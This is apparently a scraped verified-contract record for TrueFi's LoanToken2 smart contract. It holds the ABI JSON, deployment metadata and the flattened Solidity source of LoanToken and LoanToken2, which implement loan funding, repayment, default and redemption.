[{"inputs":[{"internalType":"contract ITrueFiPool2","name":"_pool","type":"address"},{"internalType":"address","name":"_borrower","type":"address"},{"internalType":"address","name":"_lender","type":"address"},{"internalType":"address","name":"_liquidator","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_term","type":"uint256"},{"internalType":"uint256","name":"_apy","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"returnedAmount","type":"uint256"}],"name":"Defaulted","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"lender","type":"address"}],"name":"Funded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"enum 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Mutability":"view","type":"function"},{"inputs":[],"name":"lender","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liquidator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"contract ITrueFiPool2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"profit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reclaim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"redeem","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"redeemed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"repaid","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"repay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"}],"name":"repayInFull","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"settle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"start","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"status","outputs":[{"internalType":"enum ILoanToken2.Status","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"term","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract ERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_balance","type":"uint256"}],"name":"value","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_beneficiary","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.6.10+commit.00c0fcaf

0000000000000000000000006002b1dcb26e7b1aa797a17551c6f487923299d70000000000000000000000006ad71b4dd5bae567bcf3376fdc48ac5843e19203000000000000000000000000a606dd423df7dfb65efe14ab66f5fdebf62ff5830000000000000000000000007ac899754dd042024bb168fd5c9a07420f444bdf000000000000000000000000000000000000000000000000000003234406440000000000000000000000000000000000000000000000000000000000004f1a00000000000000000000000000000000000000000000000000000000000000033f

Default

None

LoanToken2

LoanToken.sol

0x8ab3055722c62be1673a194cc9c7a0fbdd898eca

Solidity

// SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {ERC20} from "ERC20.sol"; import {IERC20} from "IERC20.sol"; import {SafeMath} from "SafeMath.sol"; import {SafeERC20} from "SafeERC20.sol"; import {ILoanToken} from "ILoanToken.sol"; /** * @title LoanToken * @dev A token which represents share of a debt obligation * * Each LoanToken has: * - borrower address * - borrow amount * - loan term * - loan APY * * Loan progresses through the following states: * Awaiting: Waiting for funding to meet capital requirements * Funded: Capital requirements met, borrower can withdraw * Withdrawn: Borrower withdraws money, loan waiting to be repaid * Settled: Loan has been paid back in full with interest * Defaulted: Loan has not been paid back in full * Liquidated: Loan has Defaulted and stakers have been Liquidated * * - LoanTokens are non-transferable except for whitelisted addresses * - This version of LoanToken only supports a single funder */ contract LoanToken is ILoanToken, ERC20 { using SafeMath for uint256; using SafeERC20 for IERC20; uint128 public constant lastMinutePaybackDuration = 1 days; address public override borrower; address public liquidator; uint256 public override amount; uint256 public override term; uint256 public override apy; uint256 public override start; address public override lender; uint256 public override debt; uint256 public redeemed; // borrow fee -> 25 = 0.25% uint256 public override borrowerFee = 25; // whitelist for transfers mapping(address => bool) public canTransfer; Status public override status; IERC20 public override currencyToken; /** * @dev Emitted when the loan is funded * @param lender Address which funded the loan */ event Funded(address lender); /** * @dev Emitted when transfer whitelist is updated * @param account Account to whitelist for transfers * @param status New whitelist status */ event TransferAllowanceChanged(address account, bool status); /** * @dev Emitted when borrower withdraws funds * @param beneficiary Account which will receive funds */ event Withdrawn(address beneficiary); /** * @dev Emitted when loan has been fully repaid * @param returnedAmount Amount that was returned */ event Settled(uint256 returnedAmount); /** * @dev Emitted when term is over without full repayment * @param returnedAmount Amount that was returned before expiry */ event Defaulted(uint256 returnedAmount); /** * @dev Emitted when a LoanToken is redeemed for underlying currencyTokens * @param receiver Receiver of currencyTokens * @param burnedAmount Amount of LoanTokens burned * @param redeemedAmount Amount of currencyToken received */ event Redeemed(address receiver, uint256 burnedAmount, uint256 redeemedAmount); /** * @dev Emitted when a LoanToken is repaid by the borrower in underlying currencyTokens * @param repayer Sender of currencyTokens * @param repaidAmount Amount of currencyToken repaid */ event Repaid(address repayer, uint256 repaidAmount); /** * @dev Emitted when borrower reclaims remaining currencyTokens * @param borrower Receiver of remaining currencyTokens * @param reclaimedAmount Amount of currencyTokens repaid */ event Reclaimed(address borrower, uint256 reclaimedAmount); /** * @dev Emitted when loan gets liquidated * @param status Final loan status */ event Liquidated(Status status); /** * @dev Create a Loan * @param _currencyToken Token to lend * @param _borrower Borrower address * @param _amount Borrow amount of currency tokens * @param _term Loan length * @param _apy Loan APY */ constructor( IERC20 _currencyToken, address _borrower, address _lender, address _liquidator, uint256 _amount, uint256 _term, uint256 _apy ) public ERC20("Loan Token", "LOAN") { require(_lender != address(0), "LoanToken: Lender is not set"); currencyToken = _currencyToken; borrower = _borrower; liquidator = _liquidator; amount = _amount; term = _term; apy = _apy; lender = _lender; debt = interest(amount); } /** * @dev Only borrower can withdraw & repay loan */ modifier onlyBorrower() { require(msg.sender == borrower, "LoanToken: Caller is not the borrower"); _; } /** * @dev Only liquidator can liquidate */ modifier onlyLiquidator() { require(msg.sender == liquidator, "LoanToken: Caller is not the liquidator"); _; } /** * @dev Only after loan has been closed: Settled, Defaulted, or Liquidated */ modifier onlyAfterClose() { require(status >= Status.Settled, "LoanToken: Only after loan has been closed"); _; } /** * @dev Only when loan is Funded */ modifier onlyOngoing() { require(status == Status.Funded || status == Status.Withdrawn, "LoanToken: Current status should be Funded or Withdrawn"); _; } /** * @dev Only when loan is Funded */ modifier onlyFunded() { require(status == Status.Funded, "LoanToken: Current status should be Funded"); _; } /** * @dev Only when loan is Withdrawn */ modifier onlyAfterWithdraw() { require(status >= Status.Withdrawn, "LoanToken: Only after loan has been withdrawn"); _; } /** * @dev Only when loan is Awaiting */ modifier onlyAwaiting() { require(status == Status.Awaiting, "LoanToken: Current status should be Awaiting"); _; } /** * @dev Only when loan is Defaulted */ modifier onlyDefaulted() { require(status == Status.Defaulted, "LoanToken: Current status should be Defaulted"); _; } /** * @dev Only whitelisted accounts or lender */ modifier onlyWhoCanTransfer(address sender) { require( sender == lender || canTransfer[sender], "LoanToken: This can be performed only by lender or accounts allowed to transfer" ); _; } /** * @dev Only lender can perform certain actions */ modifier onlyLender() { require(msg.sender == lender, "LoanToken: This can be performed only by lender"); _; } /** * @dev Return true if this contract is a LoanToken * @return True if this contract is a LoanToken */ function isLoanToken() external override pure returns (bool) { return true; } /** * @dev Get loan parameters * @return amount, term, apy */ function getParameters() external override view returns ( uint256, uint256, uint256 ) { return (amount, apy, term); } /** * @dev Get coupon value of this loan token in currencyToken * This assumes the loan will be paid back on time, with interest * @param _balance number of LoanTokens to get value for * @return coupon value of _balance LoanTokens in currencyTokens */ function value(uint256 _balance) external override view returns (uint256) { if (_balance == 0) { return 0; } uint256 passed = block.timestamp.sub(start); if (passed > term || status == Status.Settled) { passed = term; } // assume year is 365 days uint256 interest = amount.mul(apy).mul(passed).div(365 days).div(10000); return amount.add(interest).mul(_balance).div(debt); } /** * @dev Fund a loan * Set status, start time, lender */ function fund() external override onlyAwaiting onlyLender { status = Status.Funded; start = block.timestamp; _mint(msg.sender, debt); currencyToken.safeTransferFrom(msg.sender, address(this), receivedAmount()); emit Funded(msg.sender); } /** * @dev Whitelist accounts to transfer * @param account address to allow transfers for * @param _status true allows transfers, false disables transfers */ function allowTransfer(address account, bool _status) external override onlyLender { canTransfer[account] = _status; emit TransferAllowanceChanged(account, _status); } /** * @dev Borrower calls this function to withdraw funds * Sets the status of the loan to Withdrawn * @param _beneficiary address to send funds to */ function withdraw(address _beneficiary) external override onlyBorrower onlyFunded { status = Status.Withdrawn; currencyToken.safeTransfer(_beneficiary, receivedAmount()); emit Withdrawn(_beneficiary); } /** * @dev Settle the loan after checking it has been repaid */ function settle() public override onlyOngoing { require(isRepaid(), "LoanToken: loan must be repaid to settle"); status = Status.Settled; emit Settled(_balance()); } /** * @dev Default the loan if it has not been repaid by the end of term */ function enterDefault() external override onlyOngoing { require(!isRepaid(), "LoanToken: cannot default a repaid loan"); require(start.add(term).add(lastMinutePaybackDuration) <= block.timestamp, "LoanToken: Loan cannot be defaulted yet"); status = Status.Defaulted; emit Defaulted(_balance()); } /** * @dev Liquidate the loan if it has defaulted */ function liquidate() external override onlyDefaulted onlyLiquidator { status = Status.Liquidated; emit Liquidated(status); } /** * @dev Redeem LoanToken balances for underlying currencyToken * Can only call this function after the loan is Closed * @param _amount amount to redeem */ function redeem(uint256 _amount) external override onlyAfterClose { uint256 amountToReturn = _amount.mul(_balance()).div(totalSupply()); redeemed = redeemed.add(amountToReturn); _burn(msg.sender, _amount); currencyToken.safeTransfer(msg.sender, amountToReturn); emit Redeemed(msg.sender, _amount, amountToReturn); } /** * @dev Function for borrower to repay the loan * Borrower can repay at any time * @param _sender account sending currencyToken to repay * @param _amount amount of currencyToken to repay */ function repay(address _sender, uint256 _amount) external override { _repay(_sender, _amount); } /** * @dev Function for borrower to repay all of the remaining loan balance * Borrower should use this to ensure full repayment * @param _sender account sending currencyToken to repay */ function repayInFull(address _sender) external override { _repay(_sender, debt.sub(_balance())); } /** * @dev Internal function for loan repayment * If _amount is sufficient, then this also settles the loan * @param _sender account sending currencyToken to repay * @param _amount amount of currencyToken to repay */ function _repay(address _sender, uint256 _amount) internal onlyAfterWithdraw { require(_amount <= debt.sub(_balance()), "LoanToken: Cannot repay over the debt"); emit Repaid(_sender, _amount); currencyToken.safeTransferFrom(_sender, address(this), _amount); if (isRepaid()) { settle(); } } /** * @dev Function for borrower to reclaim stuck currencyToken * Can only call this function after the loan is Closed * and all of LoanToken holders have been burnt */ function reclaim() external override onlyAfterClose onlyBorrower { require(totalSupply() == 0, "LoanToken: Cannot reclaim when LoanTokens are in circulation"); uint256 balanceRemaining = _balance(); require(balanceRemaining > 0, "LoanToken: Cannot reclaim when balance 0"); currencyToken.safeTransfer(borrower, balanceRemaining); emit Reclaimed(borrower, balanceRemaining); } /** * @dev Check how much was already repaid * Funds stored on the contract's address plus funds already redeemed by lenders * @return Uint256 representing what value was already repaid */ function repaid() external override view onlyAfterWithdraw returns (uint256) { return _balance().add(redeemed); } /** * @dev Check whether an ongoing loan has been repaid in full * @return true if and only if this loan has been repaid */ function isRepaid() public override view onlyOngoing returns (bool) { return _balance() >= debt; } /** * @dev Public currency token balance function * @return currencyToken balance of this contract */ function balance() external override view returns (uint256) { return _balance(); } /** * @dev Get currency token balance for this contract * @return currencyToken balance of this contract */ function _balance() internal view returns (uint256) { return currencyToken.balanceOf(address(this)); } /** * @dev Calculate amount borrowed minus fee * @return Amount minus fees */ function receivedAmount() public override view returns (uint256) { return amount.sub(amount.mul(borrowerFee).div(10000)); } /** * @dev Calculate interest that will be paid by this loan for an amount (returned funds included) * amount + ((amount * apy * term) / (365 days / precision)) * @param _amount amount * @return uint256 Amount of interest paid for _amount */ function interest(uint256 _amount) internal view returns (uint256) { return _amount.add(_amount.mul(apy).mul(term).div(365 days).div(10000)); } /** * @dev get profit for this loan * @return profit for this loan */ function profit() external override view returns (uint256) { return debt.sub(amount); } /** * @dev Override ERC20 _transfer so only whitelisted addresses can transfer * @param sender sender of the transaction * @param recipient recipient of the transaction * @param _amount amount to send */ function _transfer( address sender, address recipient, uint256 _amount ) internal override onlyWhoCanTransfer(sender) { return super._transfer(sender, recipient, _amount); } function version() external virtual override pure returns (uint8) { return 3; } }

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v0.6.10+commit.00c0fcaf

0000000000000000000000006002b1dcb26e7b1aa797a17551c6f487923299d70000000000000000000000006ad71b4dd5bae567bcf3376fdc48ac5843e19203000000000000000000000000a606dd423df7dfb65efe14ab66f5fdebf62ff5830000000000000000000000007ac899754dd042024bb168fd5c9a07420f444bdf000000000000000000000000000000000000000000000000000003234406440000000000000000000000000000000000000000000000000000000000004f1a00000000000000000000000000000000000000000000000000000000000000033f

Default

None

LoanToken2

LoanToken2.sol

0x8ab3055722c62be1673a194cc9c7a0fbdd898eca

Solidity

// SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IERC20} from "IERC20.sol"; import {SafeMath} from "SafeMath.sol"; import {SafeERC20} from "SafeERC20.sol"; import {ERC20} from "UpgradeableERC20.sol"; import {ILoanToken2, ITrueFiPool2} from "ILoanToken2.sol"; import {LoanToken} from "LoanToken.sol"; /** * @title LoanToken V2 * @dev A token which represents share of a debt obligation * * Each LoanToken has: * - borrower address * - borrow amount * - loan term * - loan APY * * Loan progresses through the following states: * Awaiting: Waiting for funding to meet capital requirements * Funded: Capital requirements met, borrower can withdraw * Withdrawn: Borrower withdraws money, loan waiting to be repaid * Settled: Loan has been paid back in full with interest * Defaulted: Loan has not been paid back in full * Liquidated: Loan has Defaulted and stakers have been Liquidated * * - LoanTokens are non-transferable except for whitelisted addresses * - This version of LoanToken only supports a single funder */ contract LoanToken2 is ILoanToken2, ERC20 { using SafeMath for uint256; using SafeERC20 for ERC20; uint128 public constant LAST_MINUTE_PAYBACK_DURATION = 1 days; uint256 private constant APY_PRECISION = 10000; address public override borrower; address public liquidator; uint256 public override amount; uint256 public override term; // apy precision: 10000 = 100% uint256 public override apy; uint256 public override start; address public override lender; uint256 public override debt; uint256 public redeemed; // whitelist for transfers mapping(address => bool) public canTransfer; Status public override status; ERC20 public override token; ITrueFiPool2 public override pool; /** * @dev Emitted when the loan is funded * @param lender Address which funded the loan */ event Funded(address lender); /** * @dev Emitted when transfer whitelist is updated * @param account Account to whitelist for transfers * @param status New whitelist status */ event TransferAllowanceChanged(address account, bool status); /** * @dev Emitted when borrower withdraws funds * @param beneficiary Account which will receive funds */ event Withdrawn(address beneficiary); /** * @dev Emitted when loan has been fully repaid * @param returnedAmount Amount that was returned */ event Settled(uint256 returnedAmount); /** * @dev Emitted when term is over without full repayment * @param returnedAmount Amount that was returned before expiry */ event Defaulted(uint256 returnedAmount); /** * @dev Emitted when a LoanToken is redeemed for underlying tokens * @param receiver Receiver of tokens * @param burnedAmount Amount of LoanTokens burned * @param redeemedAmount Amount of token received */ event Redeemed(address receiver, uint256 burnedAmount, uint256 redeemedAmount); /** * @dev Emitted when a LoanToken is repaid by the borrower in underlying tokens * @param repayer Sender of tokens * @param repaidAmount Amount of token repaid */ event Repaid(address repayer, uint256 repaidAmount); /** * @dev Emitted when borrower reclaims remaining tokens * @param borrower Receiver of remaining tokens * @param reclaimedAmount Amount of tokens repaid */ event Reclaimed(address borrower, uint256 reclaimedAmount); /** * @dev Emitted when loan gets liquidated * @param status Final loan status */ event Liquidated(Status status); /** * @dev Create a Loan * @param _pool Pool to lend from * @param _borrower Borrower address * @param _lender Lender address * @param _liquidator Liquidator address * @param _amount Borrow amount of loaned tokens * @param _term Loan length * @param _apy Loan APY */ constructor( ITrueFiPool2 _pool, address _borrower, address _lender, address _liquidator, uint256 _amount, uint256 _term, uint256 _apy ) public { require(_lender != address(0), "LoanToken2: Lender is not set"); ERC20.__ERC20_initialize("TrueFi Loan Token", "LOAN"); pool = _pool; token = _pool.token(); borrower = _borrower; liquidator = _liquidator; amount = _amount; term = _term; apy = _apy; lender = _lender; debt = interest(amount); } /** * @dev Only borrower can withdraw & repay loan */ modifier onlyBorrower() { require(msg.sender == borrower, "LoanToken2: Caller is not the borrower"); _; } /** * @dev Only liquidator can liquidate */ modifier onlyLiquidator() { require(msg.sender == liquidator, "LoanToken2: Caller is not the liquidator"); _; } /** * @dev Only after loan has been closed: Settled, Defaulted, or Liquidated */ modifier onlyAfterClose() { require(status >= Status.Settled, "LoanToken2: Only after loan has been closed"); _; } /** * @dev Only when loan is Funded */ modifier onlyOngoing() { require(status == Status.Funded || status == Status.Withdrawn, "LoanToken2: Current status should be Funded or Withdrawn"); _; } /** * @dev Only when loan is Funded */ modifier onlyFunded() { require(status == Status.Funded, "LoanToken2: Current status should be Funded"); _; } /** * @dev Only when loan is Withdrawn */ modifier onlyAfterWithdraw() { require(status >= Status.Withdrawn, "LoanToken2: Only after loan has been withdrawn"); _; } /** * @dev Only when loan is Awaiting */ modifier onlyAwaiting() { require(status == Status.Awaiting, "LoanToken2: Current status should be Awaiting"); _; } /** * @dev Only when loan is Defaulted */ modifier onlyDefaulted() { require(status == Status.Defaulted, "LoanToken2: Current status should be Defaulted"); _; } /** * @dev Only whitelisted accounts or lender */ modifier onlyWhoCanTransfer(address sender) { require( sender == lender || canTransfer[sender], "LoanToken2: This can be performed only by lender or accounts allowed to transfer" ); _; } /** * @dev Only lender can perform certain actions */ modifier onlyLender() { require(msg.sender == lender, "LoanToken2: This can be performed only by lender"); _; } /** * @dev Get loan parameters * @return amount, term, apy */ function getParameters() external override view returns ( uint256, uint256, uint256 ) { return (amount, apy, term); } /** * @dev Get coupon value of this loan token in token * This assumes the loan will be paid back on time, with interest * @param _balance number of LoanTokens to get value for * @return coupon value of _balance LoanTokens in tokens */ function value(uint256 _balance) external override view returns (uint256) { if (_balance == 0) { return 0; } uint256 passed = block.timestamp.sub(start); if (passed > term || status == Status.Settled) { passed = term; } // assume year is 365 days uint256 interest = amount.mul(apy).mul(passed).div(365 days).div(APY_PRECISION); return amount.add(interest).mul(_balance).div(debt); } /** * @dev Fund a loan * Set status, start time, lender */ function fund() external override onlyAwaiting onlyLender { status = Status.Funded; start = block.timestamp; _mint(msg.sender, debt); token.safeTransferFrom(msg.sender, address(this), amount); emit Funded(msg.sender); } /** * @dev Whitelist accounts to transfer * @param account address to allow transfers for * @param _status true allows transfers, false disables transfers */ function allowTransfer(address account, bool _status) external override onlyLender { canTransfer[account] = _status; emit TransferAllowanceChanged(account, _status); } /** * @dev Borrower calls this function to withdraw funds * Sets the status of the loan to Withdrawn * @param _beneficiary address to send funds to */ function withdraw(address _beneficiary) external override onlyBorrower onlyFunded { status = Status.Withdrawn; token.safeTransfer(_beneficiary, amount); emit Withdrawn(_beneficiary); } /** * @dev Settle the loan after checking it has been repaid */ function settle() public override onlyOngoing { require(isRepaid(), "LoanToken2: loan must be repaid to settle"); status = Status.Settled; emit Settled(_balance()); } /** * @dev Default the loan if it has not been repaid by the end of term */ function enterDefault() external override onlyOngoing { require(!isRepaid(), "LoanToken2: cannot default a repaid loan"); require(start.add(term).add(LAST_MINUTE_PAYBACK_DURATION) <= block.timestamp, "LoanToken2: Loan cannot be defaulted yet"); status = Status.Defaulted; emit Defaulted(_balance()); } /** * @dev Liquidate the loan if it has defaulted */ function liquidate() external override onlyDefaulted onlyLiquidator { status = Status.Liquidated; emit Liquidated(status); } /** * @dev Redeem LoanToken balances for underlying token * Can only call this function after the loan is Closed * @param _amount amount to redeem */ function redeem(uint256 _amount) external override onlyAfterClose { uint256 amountToReturn = _amount.mul(_balance()).div(totalSupply()); redeemed = redeemed.add(amountToReturn); _burn(msg.sender, _amount); token.safeTransfer(msg.sender, amountToReturn); emit Redeemed(msg.sender, _amount, amountToReturn); } /** * @dev Function for borrower to repay the loan * Borrower can repay at any time * @param _sender account sending token to repay * @param _amount amount of token to repay */ function repay(address _sender, uint256 _amount) external override { _repay(_sender, _amount); } /** * @dev Function for borrower to repay all of the remaining loan balance * Borrower should use this to ensure full repayment * @param _sender account sending token to repay */ function repayInFull(address _sender) external override { _repay(_sender, debt.sub(_balance())); } /** * @dev Internal function for loan repayment * If _amount is sufficient, then this also settles the loan * @param _sender account sending token to repay * @param _amount amount of token to repay */ function _repay(address _sender, uint256 _amount) internal onlyAfterWithdraw { require(_amount <= debt.sub(_balance()), "LoanToken2: Cannot repay over the debt"); emit Repaid(_sender, _amount); token.safeTransferFrom(_sender, address(this), _amount); if (isRepaid()) { settle(); } } /** * @dev Function for borrower to reclaim stuck token * Can only call this function after the loan is Closed * and all of LoanToken holders have been burnt */ function reclaim() external override onlyAfterClose onlyBorrower { require(totalSupply() == 0, "LoanToken2: Cannot reclaim when LoanTokens are in circulation"); uint256 balanceRemaining = _balance(); require(balanceRemaining > 0, "LoanToken2: Cannot reclaim when balance 0"); token.safeTransfer(borrower, balanceRemaining); emit Reclaimed(borrower, balanceRemaining); } /** * @dev Check how much was already repaid * Funds stored on the contract's address plus funds already redeemed by lenders * @return Uint256 representing what value was already repaid */ function repaid() external override view onlyAfterWithdraw returns (uint256) { return _balance().add(redeemed); } /** * @dev Check whether an ongoing loan has been repaid in full * @return true if and only if this loan has been repaid */ function isRepaid() public override view onlyOngoing returns (bool) { return _balance() >= debt; } /** * @dev Public currency token balance function * @return token balance of this contract */ function balance() external override view returns (uint256) { return _balance(); } /** * @dev Get currency token balance for this contract * @return token balance of this contract */ function _balance() internal view returns (uint256) { return token.balanceOf(address(this)); } /** * @dev Calculate interest that will be paid by this loan for an amount (returned funds included) * amount + ((amount * apy * term) / 365 days / precision) * @param _amount amount * @return uint256 Amount of interest paid for _amount */ function interest(uint256 _amount) internal view returns (uint256) { return _amount.add(_amount.mul(apy).mul(term).div(365 days).div(APY_PRECISION)); } /** * @dev get profit for this loan * @return profit for this loan */ function profit() external override view returns (uint256) { return debt.sub(amount); } /** * @dev Override ERC20 _transfer so only whitelisted addresses can transfer * @param sender sender of the transaction * @param recipient recipient of the transaction * @param _amount amount to send */ function _transfer( address sender, address recipient, uint256 _amount ) internal override onlyWhoCanTransfer(sender) { return super._transfer(sender, recipient, _amount); } function version() external override pure returns (uint8) { return 5; } function decimals() public override view returns (uint8) { return token.decimals(); } }

[{"inputs":[{"internalType":"contract ITrueFiPool2","name":"_pool","type":"address"},{"internalType":"address","name":"_borrower","type":"address"},{"internalType":"address","name":"_lender","type":"address"},{"internalType":"address","name":"_liquidator","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_term","type":"uint256"},{"internalType":"uint256","name":"_apy","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"returnedAmount","type":"uint256"}],"name":"Defaulted","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"lender","type":"address"}],"name":"Funded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"enum ILoanToken2.Status","name":"status","type":"uint8"}],"name":"Liquidated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"borrower","type":"address"},{"indexed":false,"internalType":"uint256","name":"reclaimedAmount","type":"uint256"}],"name":"Reclaimed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"receiver","type":"address"},{"indexed":false,"internalType":"uint256","name":"burnedAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"redeemedAmount","type":"uint256"}],"name":"Redeemed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"repayer","type":"address"},{"indexed":false,"internalType":"uint256","name":"repaidAmount","type":"uint256"}],"name":"Repaid","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"returnedAmount","type":"uint256"}],"name":"Settled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"status","type":"bool"}],"name":"TransferAllowanceChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"beneficiary","type":"address"}],"name":"Withdrawn","type":"event"},{"inputs":[],"name":"LAST_MINUTE_PAYBACK_DURATION","outputs":[{"internalType":"uint128","name":"","type":"uint128"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"allowTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"amount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"apy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"balance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"borrower","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"canTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"debt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enterDefault","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fund","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getParameters","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isInitialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isRepaid","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lender","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liquidator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"contract 